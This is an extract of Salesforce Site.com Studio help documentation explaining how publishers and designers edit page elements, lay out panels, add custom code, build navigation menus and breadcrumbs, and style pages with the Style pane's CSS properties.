Editing and Working With Site.com Page Elements Tips for Working With Editable Page Elements Adding Images Directly to the Page Adding Content Blocks to Pages Laying Out Site.com Pages Using Panels Adding Custom Code to Pages Adding a Navigation Menu Using a Tracing Image for Page Layouts Changing a Page Elements HTML Tag

Editing and Working With Site.com Page Elements


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

The Page Structure ( ) pane displays the hierarchy of all elements on the page and is a very useful way of selecting, moving, and reordering elements, particularly for more complicated page designs. To select a page element, either click it on the page, or select it in the Page Structure pane. This highlights the element on the page and displays the item's selector bar and Actions menu ( ). To edit a page element, such as a content block, image, or custom code, either: Double-click the element on the page.

2408

Adding Features and Page Elements

Editing and Working With Site.com Page Elements

Select the element on the page and click > Edit on its selector bar. Select or hover over the element in the Page Structure pane and click Click Edit Content on the toolbar (for content blocks only). To move a page element, either:

> Edit.

Select the element on the page and drag it to the correct position, or click > Move on its selector bar. Drag the item to your preferred location in the Page Structure pane, or select it and click > Move > Direction. You can also drag all page elements other than panels to your preferred location in the Page Structure pane. To resize a page element, select it and drag the resize handles to the correct size. If the corner resize handles are grayed out, it means the item's Auto Height property is enabled, which adjusts the height depending on its contents. To resize it to a set height, disable the property by either deselecting Auto Height in the Properties pane, or by clicking one of the bottom resize handles and clicking Disable Auto Height in the popup message that appears. Tip: If you disable the Auto Height property on an image, but you want it to retain its aspect ratiothe relationship of height to widthpress and hold down the SHIFT key while you drag to resize it. Alternatively, if you're using CSS to style the page element, adjust the style of the class or ID that styles it. To delete an element, select it and either: Click > Delete on the item's selector bar. Press DELETE. Click on the toolbar. In the Page Structure pane, click > Delete. If a site page or page template is based on another page template: The content of all editable page elements on a child page or template is linked to the content of the editable elements on its parent page template. When you update the content of an editable page element on the parent template, the changes are pushed down to any child pages or page templates. However, if you modify the content of an editable page element at the child page or template level, you break the link between the elements, and any subsequent changes made to the page element on the parent template won't trickle down to its children. You can't reposition or resize its page elements. However, if the element's Auto Height property is enabled in the template, the height will adjust to fit the content in the template-based page. To edit the page element, you must edit it in the page template. You can't delete its page elements. To delete the page element, you must delete it from the page template.

2409

Working with Panels

Laying Out Site.com Pages Using Panels

You can't alter the events, properties, or style of an editable page element, such as its color, position, and size.

See Also:
Site.com Page Elements Adding Site.com Page Elements Adding Content Blocks to Pages Adding Images Directly to the Page Laying Out Site.com Pages Using Panels Adding Custom Code to Pages Adding a Navigation Menu Changing a Page Elements HTML Tag Tips for Working With Editable Page Elements

WORKING WITH PANELS


Laying Out Site.com Pages Using Panels
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A panel is a useful layout tool that defines the logical divisions of your page and lets you group page elements together for easy movement and positioning. Think of it as a container for other page elements, including other panels, or as a div that wraps around the content placed within it. Panels are ideal for adding editable areas to page templates. When you create a page template or site page, you can use predefined page layouts that include headers, footers, and columns, which are created using panels. Once created, you can then further modify the layout to match your site's design. If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column panels. This feature adds panels with predefined CSS positioning to ensure they align correctly on the page. Note: Predefined page layouts, and row and column panels use inline CSS to set their position. If you're familiar with CSS and are using CSS rules to style your site, you can remove the inline CSS by deleting it from the Code tab in the Style pane and clicking Apply.

2410

Adding Features and Page Elements

Laying Out Site.com Pages Using Panels

To add row and column panels to a page: 1. Select the page (the top folder icon) in the Page Structure pane. 2. Click > Add Rows and Column Panels. 3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new panel. To add a row panel: Above a panel, select the panel on the page or in the Page Structure pane and click > Insert Row Above Below a panel, select the panel on the page or in the Page Structure pane and click > Insert Row Below > Add Rows and Column Panels > Add Rows and Column Panels

To add row and column panels to another panel: 1. Select the panel on the page or in the Page Structure pane. 2. Click > Add Rows and Column Panels. 3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new panel. To add a single panel, drag a Panel from the Page Elements pane onto the page. By default, the height of a panel automatically adjusts when you add content to it because its Auto Height property is enabled. You can disable the property to resize and reposition panels. If you hover over a panel on the page, an information popup appears that displays the width and height of the panel.

When you drag a page element onto a panel, the edges change color, indicating that the element is now grouped within it. To remove the element from the group, drag it outside the panel. Tip: You can use a background tracing image as a guide when laying out page templates and site pages. You can use CSS properties to improve the layout and position of panels on the page.

See Also:
Changing a Page Elements HTML Tag Adding Site.com Page Elements Creating Site.com Page Templates Creating Site Pages as a Publisher or Designer Using Site.com Studio as a Publisher or Designer

2411

Adding Features and Page Elements

Positioning Panels Using CSS

Positioning Panels Using CSS


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A panel is a useful layout tool that defines the logical divisions of your page. Using CSS, you can position panels and improve the layout of the page. Adding Padding and Margins to Panels Two CSS propertiesmargins and paddingcan help with your page layout by creating space between the rows and columns, and the content within. The margin property controls the space outside the panel between its border and outer edge, while the padding property controls the space between the panel's content and border. To add margins and padding: 1. Select the panel. 2. Open the Dimensions section of the Style pane. 3. In the Margins section, either: Set the margin width for all four sides by entering a value in the All text box and selecting the unit of measurement. Set the margin widths for the top, right, bottom, or left sides independently by entering a value in the appropriate text box and selecting the unit of measurement.

4. Similarly, in the Padding section, set the padding widths as required. Adding padding increases the total width of the panel. For example, if you have a panel with a width of 500px and you add padding of 20px to all sides, the total width of the panel will be 540px. Tip: You can center a panel or block page element using the margin property. Enter 0 in the All text box and select Auto in the drop-down list.

Creating Column Panels Using the Float Property If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column panels. Alternatively, using the CSS float property, you can position panels to the left or right to create columns. (When you add panels using the row and column panels feature, they're automatically positioned using the float property.) For example, you could add two single panels to a container panel and set both panel's float and width properties to create a two-column page layout. To create a column panel:

2412

Adding Features and Page Elements

Adding Images Directly to the Page

1. Select the panel. 2. Open the Layout section of the Style pane. 3. Click to float the panel to the left, or click to float the panel to the right. If you're creating a two-column layout, for example, ensure you set the float property of both panels. 4. Adjust the width of the panel to ensure the panels align correctly by either setting the width in the Dimensions section or dragging the panel's border on the page. For example, if you're creating two columns of equal width, set the width of both panels to 50%. Tip: When you use the float property, remember to set the overflow property of the container panel to hidden. This allows the container panel to grow as the height of the column panels increase. Select the container panel and in the Layout section of the Style pane, select Hidden in the Overflow drop-down list.

See Also:
Cascading Style Sheets Overview

Adding Images Directly to the Page


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

As a publisher or designer, you can add images directly to your site pages and page templates or you can add them to content blocks. To add an image directly to the page: 1. Open the site page or page template. 2. Drag an Image from the Page Elements pane onto the page. 3. In the Add an Image dialog box, either: Find an existing image by typing its name in the Search Image text box and selecting it from the list. Upload an image from your computer by opening the Upload tab, browsing to the image, clicking Upload, and selecting it from the list.

4. Click Apply. The image is added to the page.

2413

Adding Features and Page Elements

Adding Content Blocks to Pages

5. Enter a brief description of the image in the Alternative Text field in the Properties pane. The description is used by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).

See Also:
Adding Site.com Page Elements Editing and Working With Site.com Page Elements Site.com Page Elements

Adding Content Blocks to Pages


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Content blocks contain the text of your website pages, and can also house images, videos, and hyperlinks. Content blocks are the only page element that contributors can edit and modify on a site page. To add a content block, either drag it from the Page Elements pane onto the page or target a container page element. To edit a content block, double-click it or click Edit Content. For greater control over the text, you can edit the HTML directly by selecting the content block and clicking > Edit HTML. To add a content block that only other publishers can edit, use custom code instead.

See Also:
Adding Images to Content Blocks Attaching Hyperlinks to Text and Images Adding an Anchor to a Page Changing a Page Elements HTML Tag Using Site.com Studio as a Publisher or Designer

2414

Adding Features and Page Elements

Adding Custom Code to Pages

Adding Custom Code to Pages


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Custom code lets you customize your site using markup, such as HTML and JavaScript. Add markup to a specific location on a page using the Custom Code page element. JavaScript added using the Custom Code page element loads when that part of the page loads. Add markup to the page head. JavaScript in the page head loads first. Add JavaScript to the page body on page 2415. JavaScript added to the page body is positioned at the end of the body tag and only loads when the DOM is ready. Add a reference to a JavaScript file or library on page 2416 in the page head or body. Tip: Scripts can't execute while you're editing a page in Site.com Studio. To test your code, preview the page. If you are building a Site.com site from an existing HTML site, avoid using the Custom Code page element to paste large chunks HTML from the original site. Instead, use the available page elements, such as panels, content blocks, and data tables. This will let you make future updates and design changes much more easily.

Adding Markup Directly to the Page


1. Drag a Custom Code page element from the Page Element pane onto the page. 2. Enter the code in the Edit Code dialog box. 3. Click Save and Close to add the code directly to the page.

Adding Markup to the Page Head


1. In the Scripts section of the Properties pane, click Configure in the Edit Head Markup section. 2. Enter the markup in the Edit HTML Code dialog box. 3. Click Save and Close to insert the markup into the page head.

Adding JavaScript to the Page Body


1. In the Scripts section of the Properties pane, click Configure in the Edit Body Scripts section. 2. Enter the code in the Edit JavaScript Code dialog box. Don't add <script> tags, as they're already included.

2415

Adding Website Navigation

About the Site Map and Page Hierarchy

3. Click Save and Close to add the code to the bottom of the page body.

Using JavaScript Files or Libraries


Instead of adding JavaScript code directly to a page, you can include links to imported or external JavaScript files, or to an open-source library (via the Google Libraries API). 1. In the Scripts section of the Properties pane, click 2. To link to: in either the Body Scripts or the Head Scripts section.

A JavaScript file that you've imported, select An imported script and select the file. An open-source JavaScript library, select A Google AJAX library and select the library. An external JavaScript file, select A URL to an external script and enter the address.

3. Click Apply.

See Also:
Changing a Page Elements HTML Tag Adding Site.com Page Elements Displaying Data Using Custom Code Creating an Event Using Site.com Studio as a Publisher or Designer

ADDING WEBSITE NAVIGATION


About the Site Map and Page Hierarchy
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The Site Pages view on the Overview tab contains the pages and site map links of your website. The Site Map folder reflects the hierarchy or tree structure of your site by housing site pages and links that are included in the site map. When you create new pages or site map links, they're automatically added to this folder. The Landing Pages folder houses standalone pages that are excluded from the site map, making it ideal for temporary pages, such as promotional or competition pages. Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click .

When adding a navigation menu to your site, it's important to organize the hierarchy of your site pages and links accurately, because this structure is used to generate the menu. Pages and site map links are displayed in navigation menus in the order you arrange them. In this representation of the site hierarchy, you can more clearly see the tree structure.

2416

Adding Features and Page Elements

About the Site Map and Page Hierarchy

1. The Site Map folder, which contains four site pages. 2. A top-level page in the site hierarchy. 3. A top-level, parent page with two child pages. A child page is a page at a lower level in the site hierarchy than its parent page. 4. Two child pages. 5. The Landing Pages folder, which contains a temporary page that's not part of the site map or navigation menu. Tip: If a page has child pages, the icon appears beside it indicating that you can expand the branch.

By default, when you create a menu, its generated from the pages and site map links in the Site Map folder in the Site Pages view. However, you can also create a menu thats generated from the pages in the Landing Pages folder or from the child or sibling pages of a site page. You can hide a page in menus, breadcrumbs, and the site map by selecting the Hide Page checkbox found on the Properties pane for each page. This setting also prevents website visitors from accessing the pages direct URL. By default, all pages are visible.

See Also:
Adding a Navigation Menu Styling Navigation Menus Creating Site Pages as a Publisher or Designer Using Site.com Studio as a Publisher or Designer

2417

Adding Features and Page Elements

Adding Links to a Site Map

Adding Links to a Site Map


Pages arent the only things you can assign to your site map. Add internal or external URLs to your site map to customize your navigation menus and breadcrumbs, and achieve greater flexibility and control. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

For example, lets say you have a top-level Products page that has a menu based on its child pages. But, you want to include a page called Testimonials in the menu that is not one of the Products pages child pages. You can create a site map link that points to the Testimonials page and add the link under Products in the site map. Now when visitors view the Products page, they see a menu consisting of its child pages, along with a menu item that takes them directly to Testimonials. 1. On the Overview tab, click New > Site Map Link. 2. Enter a name for the link. 3. Enter a URL. URLs can be either relative or absolute, and are case sensitive. Note: You cant preview absolute site map links in Site.com Studio unless they include a prefix, such as http:// or https://. 4. Click Create. The link appears at the bottom of the site map. 5. Drag the link to the correct position in the site map. Note: Site map links are automatically included in navigation menus and breadcrumbs. However, you cant set a site map link as a custom root node in a breadcrumb.

See Also:
Adding Breadcrumb Navigation to Pages Adding a Navigation Menu About the Site Map and Page Hierarchy

2418

Adding Features and Page Elements

Adding Breadcrumb Navigation to Pages

Adding Breadcrumb Navigation to Pages


Add a Breadcrumb page element to your page to help users navigate through your site and show the pages location in the site hierarchy. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Breadcrumb navigation is based on the pages and links in the site map and usually supplements menu navigation. You can hide a page in menus, breadcrumbs, and the site map by selecting the Hide Page checkbox found on the Properties pane for each page. This setting also prevents website visitors from accessing the pages direct URL. By default, all pages are visible. Tip: To save time and effort, add a Breadcrumb page element to a page template to automatically include it on every template-based site page. The breadcrumb on each derived page dynamically updates based on its location in your site map. 1. Open the page or page template that you want to add the breadcrumb element to. 2. Drag a Breadcrumb from the Page Elements pane onto the page. 3. In the Properties pane, under Root, specify a custom root node for the breadcrumb. By default, the root value is set to None, which builds the breadcrumb structure based on the pages location in the site map. Select Home Page to set the sites home page as the first item in the breadcrumb. To find out how to set a sites home page, see Configuring Site Properties. Select a specific site page to set it as the first item in the breadcrumb. Note: You cant set a site map link as a custom root node in a breadcrumb.

4. In the Properties pane, under Separator, you can customize the separator used between breadcrumb nodes. By default, the separator is >. However, you can change it to another text symbol or insert HTML code for an image in your site, such as <img src='/separatorimage.jpg'/>. 5. To style the breadcrumb: a. Click the Style pane and ensure Class is selected. b. Choose an option from the Style drop-down list.

2419

Adding Features and Page Elements

Adding a Navigation Menu

c. Adjust the values in the Visual tab as desired.

See Also:
Adding a Navigation Menu Editing and Working With Site.com Page Elements Site.com Page Elements Adding Links to a Site Map Using Site.com Studio as a Publisher or Designer

Adding a Navigation Menu


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

By default, when you create a menu, its generated from the pages and site map links in the Site Map folder in the Site Pages view. However, you can also create a menu thats generated from the pages in the Landing Pages folder or from the child or sibling pages of a site page. 1. Arrange site pages and site map links in the Site Map folder or the Landing Pages folder in the order you want them to appear in the menu by dragging them to the desired location. Drag a page or site map link onto another page or link to make it a child of that item. Drag pages or links into the Landing Pages folder to exclude them from the site map. Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click .

2. Open the page template or site page that you want to add the navigation menu to. 3. Drag a Menu from the Page Elements pane onto the page. 4. In the Properties pane, under Menu Source, select the pages that you want to use for the menu. By default, the Site Map folder is used to create the menu. Any site map link in the applicable hierarchy also shows up in your menu. Select Landing Pages to create the menu from the pages in the Landing Pages folder. Select Child Pages to create the menu from the current pages child pages. Select Sibling Pages to create the menu from all of the pages that share the same parent as the current page. Select a specific site page to create the menu from just its child pages.

2420

Adding Features and Page Elements

Adding a Navigation Menu

Note: If you add a menu element to a page template, the menu doesnt display correctly in the template if you select Child Pages or Sibling Pages as the menu source, because page templates arent part of the site map hierarchy. However, the menu appears as expected on site pages based on the page template. 5. To alter the appearance of the menu, you can select a different theme from the Theme Name drop-down list. For example, to create a drop-down menu, select Horizontal Drop-down. You can modify the style of any theme to suit your needs. 6. To change the name of a page in the menu, open the associated page and update its Navigation Name field in the Properties pane. Navigation names can include spaces and special characters. Alternatively, to change the name of a site map link in your menu, hover over the link in the Site Pages view on the Overview tab, click Edit, and update the name. Tip: When you add a new page or site map link, update a pages Navigation Name property, or rearrange pages or links, the menu updates automatically to reflect the changes. To automatically include a menu on every site page, add the menu to a page template and base the site pages on it. You can hide a page in menus, breadcrumbs, and the site map by selecting the Hide Page checkbox found on the Properties pane for each page. This setting also prevents website visitors from accessing the pages direct URL. By default, all pages are visible.

See Also:
About the Site Map and Page Hierarchy Styling Navigation Menus Adding Site.com Page Elements Adding Breadcrumb Navigation to Pages Creating Site Pages as a Publisher or Designer Using Site.com Studio as a Publisher or Designer

2421

Adding Features and Page Elements

Styling Navigation Menus

Styling Navigation Menus


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Navigation menus are styled using CSS themes that you can customize to match the design of your website. When you add a navigation menu to a page, it uses a default theme to control its appearance. Choose from other existing themes in the Theme Name drop-down list in the Properties pane. Alternatively, to customize a theme to suit your needs: 1. Select the navigation menu on the page. 2. Select a theme to use as a base in the Theme Name drop-down list in the Properties pane. Use a theme that most closely matches your site design or select Blank to start with a completely blank theme. 3. Open the Style pane and ensure Class is selected. 4. In the Style drop-down list, select the part of the menu that you want to style. When you select an item, it's highlighted for a few seconds, so you can easily see which part you're styling. Tip: If you're familiar with CSS, you can also modify the style of the menu in the site's style sheet.

5. To style the selected menu item, use the Style pane properties. Your changes are immediately reflected in the menu. 6. Repeat as required for each part of the menu.

See Also:
About the Site Map and Page Hierarchy Adding a Navigation Menu

2422

Adding Features and Page Elements

Adding Custom HTML Attributes

Adding Custom HTML Attributes


You can add custom HTML attributes to pages and page elements, which are rendered on the HTML tag of the page element. For example, this is useful when working with third-party frameworks that render page elements differently based on certain attributes. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When the page is open: 1. Select the relevant page or page element in the Page Structure pane. 2. In the HTML Attributes section of the Properties pane, click 3. Enter a name and value for the HTML attribute. 4. Click Save. To delete an HTML attribute, select it and click . or . .

To change the order in which an HTML attribute is rendered, select it and click

See Also:
Changing a Page Elements HTML Tag HTML5 Semantic Page-Layout Tags Changing a Pages Doctype Property Understanding the Page Editing View in Site.com Studio

2423

Adding Features and Page Elements

Changing a Page Elements HTML Tag

Changing a Page Elements HTML Tag


By default, panels, data repeaters, data elements, custom code, and content blocks are each defined as a div, but you can change this to any other HTML tag using the HTML Tag property. This gives you greater flexibility and control over how the page element is displayed on the page. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit page element properties:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned in Site.com Studio

Warning: The HTML Tag property provides a powerful way to control how page elements are displayed. However, if you change a page elements HTML tag, you may generate invalid HTML. Before publishing any changes, test the page thoroughly. To redefine a panel, data repeater, data element, custom code, or content block: 1. Select the element on the page. 2. In the HTML Tag field in the Properties pane, start typing the tag name. 3. In the auto-complete list that appears, select the relevant HTML tag. Alternatively, you can define your own HTML tagfor example, if youre working with a JavaScript library or if new HTML5 tags are introduced in the future. You can also remove the HTML tag on a panel, data repeater, data element, custom code, or content block to disable its ID, class, or inline styles. Note: The following tags aren't included in the auto-complete list:
base body doctype head html meta style title

See Also:
HTML5 Semantic Page-Layout Tags Adding Custom HTML Attributes

2424

Adding Features and Page Elements

HTML5 Semantic Page-Layout Tags

HTML5 Semantic Page-Layout Tags


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

HTML5 defines several semantic page-layout tags that describe the content they contain. These tags make it easier for search engines and screen readers to read and organize your content. By default, several page elements are defined as a div, including panels, data repeaters, data elements, content blocks, and custom code. Using a page elements HTML Tag property, you can change the tag to a semantic HTML5 block tags, such as: Option Article Aside Details Description A section containing an independent item of content, such as a magazine article or a forum post. A section containing content thats only superficially related to the main page content, such as a sidebar or advertising. A section containing additional details that the user can view or hide using an interactive widget. It can also include a summary section. A section containing an introduction, or a group of navigation elements. A footer section for the page or parent section. It typically contains information about the parent section and appears at the end of the section. A section that contains navigation links. A generic section of the page. A summary or caption section for a details section.

Header Footer

Nav Section Summary

Tip: If you use a HTML5 semantic tag, its good practice to also change the pages doctype to HTML5.

See Also:
Changing a Page Elements HTML Tag Adding Custom HTML Attributes

2425

Styling Your Website

Cascading Style Sheets Overview

STYLING YOUR WEBSITE


Cascading Style Sheets Overview
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Cascading Style Sheets (CSS) provide a flexible way to add style to the pages of your website. This collection of formatting rules governs the appearance of your pages, and lets you define the fonts, colors, layout, and other presentation features. By using CSS to control your fonts, you can ensure greater consistency in the appearance and layout of your pages in multiple browsers. Some of the many text properties that CSS lets you control include: Font family Font size Text color and background color Bold, italics, underlining, and text shadows Link color and link underlining

Using CSS, you can also position, add color to, float text around, and set margins and borders for block-level elements. A block-level element is a standalone piece of content that's visually formatted as a block. For example, content blocks (which are equivalent to p tags) and panels (which are the same as div tags) are both block-level elements.

About Inline Styles Versus Style Sheets


In Site.com Studio, you can: Apply styles directly to a selected page or page element using the Inline option in the Style pane. Inline styles apply only to the selected item. Add style items such as CSS classes or IDs to a style sheet, and apply the style items to the selected page or page element. This approach separates the content (your web pages) from the presentation (the style sheet).

If youre not familiar with CSS, youll probably find the inline option the easiest to use and understand. However, inline styles lose many of the advantages of style sheets because they mix content with presentationthe inline style is only applied to that individual element. If you need to update the style of your site, you have to update the style properties of every affected page and page element. By contrast, although style sheets may be more difficult to understand, they enable you to make site-wide changes from one convenient location. When you update a style item in your style sheet, it immediately updates the style of every page or page element that uses it. Its worth taking the time to become familiar with CSS because it: Saves you time and effort when building and designing your site Produces cleaner, more consistent site designs Simplifies navigation for people with accessibility issues (such as those using screen readers)

2426

Styling Your Website

Using the Style Pane

For more information about using CSS and creating style sheets, go to the World Wide Web Consortium (W3C) at www.w3.org/Style/CSS. There are also many tutorials available on the Internet that provide in-depth CSS training.

About CSS Classes and IDs


When you use style sheets to style your site, you can redefine the formatting of HTML tags such as body or h1. You can also create CSS classes and IDs to define the style of particular elements, such as headers or repeating content. A CSS class lets you define and apply style properties to many elements on a page, whereas a CSS ID is ideal for targeting a single item on a page. For example, in a page's structure, IDs are often used to define the header and footer areas, as each page has only one header or footer, but classes are used to define repeating page elements, such as a blog post.

Best Practices
Include a CSS reset in your style sheet to reset all style items to a baseline value. This helps avoid cross-browser differences due to their built-in default style settings. Use CSS classes and IDs instead of inline styles wherever possible. This promotes the separation of presentation and content, and makes it easier to updates the site's styles. Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use classes when there are one or more occurrences per page. Use groups to organize your CSS logically and make it easier to maintain your style sheet.

See Also:
Using the Style Pane Understanding the Style Sheet View in Site.com Creating and Using CSS Style Sheets Creating Style Sheet Items and Groups

Using the Style Pane


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border style, as you work with pages and page elements. If you're using CSS classes or IDs to style your pages, you can modify or create style items directly from the Style pane, rather than opening the style sheet. To apply a style to a selected page or page item:

2427

Styling Your Website

Style Pane Properties

1. Open the Style pane. 2. To apply: An inline style, select Inline. Inline styles affect the selected item only and aren't included in a style sheet. A CSS class, select Class and start typing the name. If the class already exists in your style sheet, select it in the list that appears. To create a new class, type the name, select it, and click Yes to add it to the style sheet. A CSS ID, select ID and select it in the drop-down list. To create a new ID, click . Menu page elements have several components, which you can style individually by selecting your preferences in the Style drop-down list that appears. 3. In the Visual tab, apply style properties as appropriate. Alternatively, in the Code tab, you can type your CSS styles directly and click Apply. Tip: To view the style properties associated with a selected page or page element, open the Code tab of the Style pane. To remove the style properties, click Clear. , enter the ID name, and click

See Also:
Cascading Style Sheets Overview Creating Style Sheet Items and Groups Creating and Using CSS Style Sheets

Style Pane Properties


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border style, as you work with pages and page elements.

The Background Section


Property Background Color Description Sets the element's background color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Background Color drop-down list. Adds a background image to the element. Click URL and enter the image URL, or click Background Repeat to select an imported image.

Background Image

Tiles the element's background image. ensures that only one copy of the image appears.

2428

Styling Your Website

Style Pane Properties

Property

Description repeats the image horizontally. repeats the image vertically. tiles the image both horizontally and vertically.

Position

Specifies the position of the element's background image. To set the horizontal position of the background image, enter a value in the X text box and select a unit of measurement. Alternatively, select Left or Right in the drop-down list. To set the vertical position of the background image, enter a value in the Y text box and select a unit of measurement. Alternatively, select Top or Bottom in the drop-down list. Sets the cursor type, such as crosshair or pointer.

Cursor

The Font & Color Section


Property Font Color Description Sets the font family of the selected element. Sets the font color. Click the color box and use the color picker to select a color, or enter a specific hexadecimal code in the text box. You can also choose from a list of colors in the Color drop-down list. Sets the font size. Enter a value in the Size text box and select a unit of measurement such as em, point, or %. Alternatively, select a predefined value such as XX-Small. Select Inherit to use the same font size as the parent element (for example, the page or panel). Tip: Use relative sizes such as em or a percentage to enable your end users to resize the font size in their Web browsers.

Size

Style

Formats the element's font style. makes the font bold. makes the font bold and italic. makes the font italic. None removes existing styles. Specifies whether to render the font as small capitals. Modifies the amount of space between lines of text. Enter a value in the text box and select a unit of measurement such as pixels, percentage, or em. Select Inherit to use the same line height as the parent page element.

Font Variant Line Height

2429

Styling Your Website

Style Pane Properties

Property Text Decoration

Description Applies decorative effects to the element's text. For example, you could remove the underline that usually appears under hyperlinks, which is a standard CSS rule that's built in to most Web browsers. underlines the text. applies strikethrough formatting. displays a line over the text. None removes existing text decoration. Aligns the text of the selected element. aligns the text to the left. aligns the text to the right. centers the text. aligns the text with both the left and right margins. Changes the capitalization of the element's text. capitalizes the first character of each word. capitalizes all characters. lowercases all characters. None removes existing capitalization formatting. Indents the first line of text of the selected page element. Enter a value in the text box and select a unit of measurement. Select Inherit to use the same indentation as the parent page element. Controls how white spaces such as spaces, tabs, and hard returns are handled inside an element.

Align

Case

Text Indent

White Space

The Layout Section


Property Positioning Description Positions page elements outside the normal flow of the document. Usually, elements on a page are rendered in Web browsers in the order they appear in the document. Block elements such as p tags and div tags appear one beneath the other, whereas inline elements such as em, strong, and span tags are rendered next to text or each other. Absolute positions the content using the settings in the Top, Bottom, Left, and Right text boxes. Relative renders the page element in the normal layout flow, but moves the element relative to its normal position depending on the values in the Top, Bottom, Left, and Right text boxes. For example, if you set an element's left

2430

Styling Your Website

Style Pane Properties

Property

Description position to 20 pixels, the page element will be positioned 20 pixels further to the left.

Display

Overrides a page element's default layout behavior. For example, you can hide page elements, make block elements render inline, or make inline elements render as blocks. None hides the page element. Block displays the page element as a block-level page element, with a line break before and after the element. Inline, which is the default setting, displays the page element as an inline page element without a line break before or after the element. Inline-block renders the page element as an inline rectangle, but with content that behaves as if it's inside a block element. When used in conjunction with the Absolute or Relative positioning options, these four properties place page elements outside the normal flow of the document. Enter a value in the text boxes as appropriate and select a unit of measurement in the respective drop-down lists. Top sets how far the top edge of an element is above or below the top edge of the parent element. Bottom determines how far the bottom edge of an element is above or below the bottom edge of the parent element. Right sets how far the top edge of an element is to the right or left of the right edge of the parent element. Left defines how far the left edge of an element is to the right or left of the left edge of the parent element. Specifies the order in which elements overlap each other when they need to be rendered in the same space. An element with a greater z-index value covers an element with a lower value. The default value is 0. Click box. and to increase and decrease the z-index, or enter a value in the text

Position

Z-index

Float

Floats a page element to the left or right so that subsequent elementstext for examplewrap around the floating page element. floats the page element to the left. floats the page element to the right. None removes an existing float setting. Specifies whether the selected page element allows floating page elements beside it. moves the page element below any floating page element on its left. moves the page element below any floating page element on its right. moves the page element below floating page elements on either side.

Clear

2431

Styling Your Website

Style Pane Properties

Property

Description None removes existing float settings.

Visibility

Specifies whether the selected page element is visible. Visible is the default value. Hidden hides the page element and renders an invisible rectangle in its place. Collapse is used to hide table elements. (For other page elements, it has the same result as hidden.) Note: Invisible page elements still occupy the same space in the page's layout.

Overflow

Specifies whether the content of a page element should be clipped when it overflows its area. Visible does not clip the content. Hidden clips the content. Scroll clips the content, but provides scroll bars so that users can view the remaining content. Auto is dependent on the browser, but should display a scroll bar to view the rest of the content.

The Dimensions Section


Property Width Description Sets the width of the selected page element. Enter a value in the Width text box and select a unit of measurement. Select Inherit to use the width of the parent page element. Sets the height of the selected page element. Enter a value in the Height text box and select a unit of measurement. Select Inherit to use the height of the parent page element. Sets the width of the page element's margin, which is the space between its border and outer edge. Set the margins for all four sides by entering a value in the All text box, or add margins to the top, right, bottom, or left sides as required. Sets the width of the page element's padding, which is the space between its content and border. Set the padding for all four sides by entering a value in the All text box, or add padding to the top, right, bottom, or left sides as required.

Height

Margins

Padding

The Borders Section


Property Type Style Description Specifies whether to set border properties for each side separately or for all four sides. Sets the border's style such as dashed, dotted, or double.

2432

Styling Your Website

Style Pane Properties

Property Color

